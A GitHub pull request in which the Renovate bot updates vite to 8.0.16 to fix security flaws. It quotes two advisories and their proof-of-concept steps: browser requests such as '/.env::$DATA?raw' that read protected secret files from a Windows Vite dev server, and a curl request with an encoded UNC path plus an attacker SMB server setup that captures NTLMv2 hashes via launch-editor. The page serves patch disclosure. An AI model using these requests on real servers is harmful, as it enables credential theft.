Skip to content

chore(deps): update dependency vite to v8.0.16 [security] - #256

Closed
renovate[bot] wants to merge 1 commit into
devfrom
renovate/npm-vite-vulnerability
Closed

chore(deps): update dependency vite to v8.0.16 [security]#256
renovate[bot] wants to merge 1 commit into
devfrom
renovate/npm-vite-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 20, 2025

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
vite (source) 8.0.98.0.16 age confidence

vite: server.fs.deny bypass on Windows alternate paths

CVE-2026-53571 / GHSA-fx2h-pf6j-xcff

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • the sensitive file exists in the allowed directories specified by server.fs.allow
  • either of:
    • the sensitive file exists in an NTFS volume
    • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)
Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw
deecc1315123883cfd0f9c26a002845a

Example expected result:

  • /.env::$DATA?raw returns the contents of .env
  • /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

CVE-2026-53632 / GHSA-v6wh-96g9-6wx3

More information

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

  • using Windows
  • NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
  • the user accesses the attackers website that sends request to a middleware using launch-editor
  • the server that has the middleware using launch-editor is running
  • the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

2026-01-30_10-58

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitejs/vite (vite)

v8.0.16

Compare Source

Bug Fixes

v8.0.15

Compare Source

Features
Bug Fixes
  • capitalize error messages and remove spurious space in parse error (#​22488) (85a0eff)
  • deps: update all non-major dependencies (#​22511) (2686d7d)
  • dev: fix html-proxy cache key mismatch for /@​fs/ HTML paths (#​21762) (47c4213)
  • glob: error on relative glob in virtual module when no files match (#​22497) (5c8e98f)
  • optimizer: close the rolldown bundle when write() rejects (#​22528) (e3cfb9d)
  • resolve: provide onWarn for viteResolvePlugin in JS plugin containers (#​22509) (40985f1)
Miscellaneous Chores
Code Refactoring

v8.0.14

Compare Source

Features
Bug Fixes
Miscellaneous Chores
  • deps: update rolldown-related dependencies (#​22470) (7cb728e)
  • remove irrelevant commits from changelog (2c69495)
Code Refactoring
Tests

v8.0.13

Compare Source

Features
Bug Fixes
Miscellaneous Chores

v8.0.12

Compare Source

Features
Bug Fixes
  • create-vite: pass react framework to TanStack CLI (#​22397) (18f0f90)
  • deps: update all non-major dependencies (#​22420) (2be6000)
  • module-runner: prevent partial-exports race on concurrent imports of in-flight invalidated re-export chains (#​22369) (f5a22e6)
  • refer to rolldownOptions instead of deprecated rollupOptions in messages (#​22400) (b675c7b)
  • worker: apply build.target to worker bundle (#​22404) (3c93fde)
  • worker: forward define to worker bundle transform (#​22408) (d4838a0)
Miscellaneous Chores

v8.0.11

Compare Source

Features
Bug Fixes
Documentation
Miscellaneous Chores
Code Refactoring
Tests

v8.0.10

Compare Source

Features
Bug Fixes
  • hmrClient.logger.debug and hmrClient.logger.error looked different from other HMR logs (#​22147) (a4d828f)
  • css: show filename in CSS minification warnings for .css?inline (#​22292) (83f0a78)
  • optimizer: allow user transform.target to override default in optimizeDeps (#​22273) (5c7cec6)
  • remove format sniffing module resolution from JS resolver (#​22297) (b8a21cc)
Code Refactoring

Configuration

📅 Schedule: (in timezone UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the security label Oct 20, 2025
@changeset-bot

changeset-bot Bot commented Oct 20, 2025

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: 0abd5a1

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@coderabbitai

coderabbitai Bot commented Oct 20, 2025

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Free

Run ID: 6b452fa2-160e-41f2-b7da-7ddcc9e9490a

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

Comment @coderabbitai help to get the list of available commands.

@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch 2 times, most recently from fe12f2f to e48cc13 Compare November 20, 2025 06:23
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from e48cc13 to 397ecf0 Compare December 3, 2025 18:36
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 397ecf0 to c4579c7 Compare December 31, 2025 14:53
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from c4579c7 to 6332be1 Compare January 8, 2026 20:15
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch 2 times, most recently from 1ec8f5c to 7bfd043 Compare January 25, 2026 16:01
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 7bfd043 to 115faba Compare February 8, 2026 07:48
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 115faba to 12801c2 Compare February 22, 2026 12:58
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 12801c2 to 51d887e Compare March 14, 2026 23:22
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch 2 times, most recently from cb01191 to 74a805f Compare April 1, 2026 20:44
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 74a805f to bdad80c Compare April 6, 2026 21:14
@renovate renovate Bot changed the title chore(deps): update dependency vite to v7.1.11 [security] chore(deps): update dependency vite to v7.3.2 [security] Apr 6, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from bdad80c to 61c4d59 Compare April 8, 2026 20:44
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 61c4d59 to 7aff2ff Compare April 29, 2026 19:45
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 7aff2ff to c2df5c9 Compare May 12, 2026 12:06
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from c2df5c9 to c6afbbc Compare June 7, 2026 23:50
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from c6afbbc to e42c14f Compare July 19, 2026 03:53
@renovate renovate Bot changed the title chore(deps): update dependency vite to v7.3.2 [security] chore(deps): update dependency vite to v8.0.16 [security] Jul 19, 2026
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8.0.16 [security] chore(deps): update dependency vite to v8.0.16 [security] - autoclosed Jul 20, 2026
@renovate renovate Bot closed this Jul 20, 2026
@renovate
renovate Bot deleted the renovate/npm-vite-vulnerability branch July 20, 2026 03:49
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8.0.16 [security] - autoclosed chore(deps): update dependency vite to v8.0.16 [security] Jul 20, 2026
@renovate renovate Bot reopened this Jul 20, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 0abd5a1 to e42c14f Compare July 20, 2026 09:14
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from e42c14f to 0abd5a1 Compare July 20, 2026 09:14
@RanitManik RanitManik closed this Jul 29, 2026
@renovate

renovate Bot commented Aug 8, 2026

Copy link
Copy Markdown
Contributor Author

Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update (8.0.16). You will get a PR once a newer version is released. To ignore this dependency forever, add it to the ignoreDeps array of your Renovate config.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant